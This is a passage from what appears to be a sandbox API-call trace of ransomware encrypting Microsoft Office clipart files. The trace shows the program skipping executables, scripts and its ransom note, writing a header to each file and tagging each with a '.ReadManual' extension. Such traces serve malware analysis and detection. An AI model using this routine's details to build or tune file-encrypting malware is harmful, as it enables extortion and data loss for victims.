hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=67540) returned 1 [0266.956] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x107d4, lpName=0x0) returned 0x184 [0266.956] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.957] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.957] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.959] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.959] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x107d4) returned 0x1de0000 [0266.961] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0266.962] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38763048070) returned 1 [0266.962] CloseHandle (hObject=0x184) returned 1 [0266.962] SetSecurityInfo () returned 0x57 [0266.962] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.962] CloseHandle (hObject=0x194) returned 1 [0266.962] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0266.962] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0148798.JPG" | out: lpString1="J0148798.JPG") returned="J0148798.JPG" [0266.962] lstrcmpiW (lpString1="J0148798.JPG", lpString2="RecoveryManual.html") returned -1 [0266.962] StrStrIW (lpFirst="J0148798.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.962] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.962] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.962] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.962] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.962] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.962] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.962] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.962] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.962] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.962] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.962] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.963] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.963] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.963] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.963] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" [0266.963] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.ReadManual.5A595725" [0266.963] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.ReadManual.5A595725") returned 87 [0266.963] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38763147433) returned 1 [0266.963] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 0x20 [0266.963] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.963] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=38237) returned 1 [0266.963] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x955d, lpName=0x0) returned 0x184 [0266.963] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.964] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.964] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.966] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.966] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x955d) returned 0x2f0000 [0266.967] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.968] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38763649996) returned 1 [0266.968] CloseHandle (hObject=0x184) returned 1 [0266.968] SetSecurityInfo () returned 0x57 [0266.968] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.968] CloseHandle (hObject=0x194) returned 1 [0266.968] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0266.968] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0149018.JPG" | out: lpString1="J0149018.JPG") returned="J0149018.JPG" [0266.968] lstrcmpiW (lpString1="J0149018.JPG", lpString2="RecoveryManual.html") returned -1 [0266.968] StrStrIW (lpFirst="J0149018.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.968] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.968] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.968] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.968] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.968] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.968] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.969] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.969] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.969] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.969] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.969] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.969] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.969] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.969] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.969] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" [0266.969] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.ReadManual.5A595725" [0266.969] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.ReadManual.5A595725") returned 87 [0266.969] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38763764844) returned 1 [0266.969] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 0x20 [0266.970] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.970] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27393) returned 1 [0266.970] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b01, lpName=0x0) returned 0x184 [0266.970] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.971] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.971] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.973] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.973] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b01) returned 0x2f0000 [0266.973] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.973] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38764200655) returned 1 [0266.973] CloseHandle (hObject=0x184) returned 1 [0266.973] SetSecurityInfo () returned 0x57 [0266.973] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.973] CloseHandle (hObject=0x194) returned 1 [0266.974] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0266.974] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0149118.JPG" | out: lpString1="J0149118.JPG") returned="J0149118.JPG" [0266.974] lstrcmpiW (lpString1="J0149118.JPG", lpString2="RecoveryManual.html") returned -1 [0266.974] StrStrIW (lpFirst="J0149118.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.974] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.974] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.974] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.974] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.974] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.974] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.974] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.974] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.974] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.974] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.974] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.974] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.974] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.974] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.974] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" [0266.974] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.ReadManual.5A595725" [0266.974] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.ReadManual.5A595725") returned 87 [0266.974] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38764301291) returned 1 [0266.974] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 0x20 [0266.975] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.975] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=64802) returned 1 [0266.975] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfd22, lpName=0x0) returned 0x184 [0266.975] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.976] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.976] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.978] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.978] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfd22) returned 0x2f0000 [0266.979] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.980] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38764848090) returned 1 [0266.980] CloseHandle (hObject=0x184) returned 1 [0266.980] SetSecurityInfo () returned 0x57 [0266.980] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.980] CloseHandle (hObject=0x194) returned 1 [0266.980] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0266.980] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0150150.WMF" | out: lpString1="J0150150.WMF") returned="J0150150.WMF" [0266.980] lstrcmpiW (lpString1="J0150150.WMF", lpString2="RecoveryManual.html") returned -1 [0266.980] StrStrIW (lpFirst="J0150150.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.980] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.980] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.981] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.981] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.981] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" [0266.981] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.ReadManual.5A595725" [0266.981] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.ReadManual.5A595725") returned 87 [0266.981] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38764944885) returned 1 [0266.981] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 0x20 [0266.981] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.981] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=46404) returned 1 [0266.981] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb544, lpName=0x0) returned 0x184 [0266.981] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.982] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.982] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.984] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.984] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb544) returned 0x2f0000 [0266.985] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.986] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38765436831) returned 1 [0266.986] CloseHandle (hObject=0x184) returned 1 [0266.986] SetSecurityInfo () returned 0x57 [0266.986] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.986] CloseHandle (hObject=0x194) returned 1 [0266.986] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0266.986] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0150861.WMF" | out: lpString1="J0150861.WMF") returned="J0150861.WMF" [0266.986] lstrcmpiW (lpString1="J0150861.WMF", lpString2="RecoveryManual.html") returned -1 [0266.986] StrStrIW (lpFirst="J0150861.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.986] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.986] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.986] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" [0266.987] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.ReadManual.5A595725" [0266.987] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.ReadManual.5A595725") returned 87 [0266.987] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38765619799) returned 1 [0266.987] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 0x20 [0266.988] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.988] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8494) returned 1 [0266.988] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x212e, lpName=0x0) returned 0x184 [0266.988] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.989] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.989] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.990] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.991] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x212e) returned 0x2f0000 [0266.991] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.991] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38765968134) returned 1 [0266.991] CloseHandle (hObject=0x184) returned 1 [0266.991] SetSecurityInfo () returned 0x57 [0266.991] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.991] CloseHandle (hObject=0x194) returned 1 [0266.991] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: 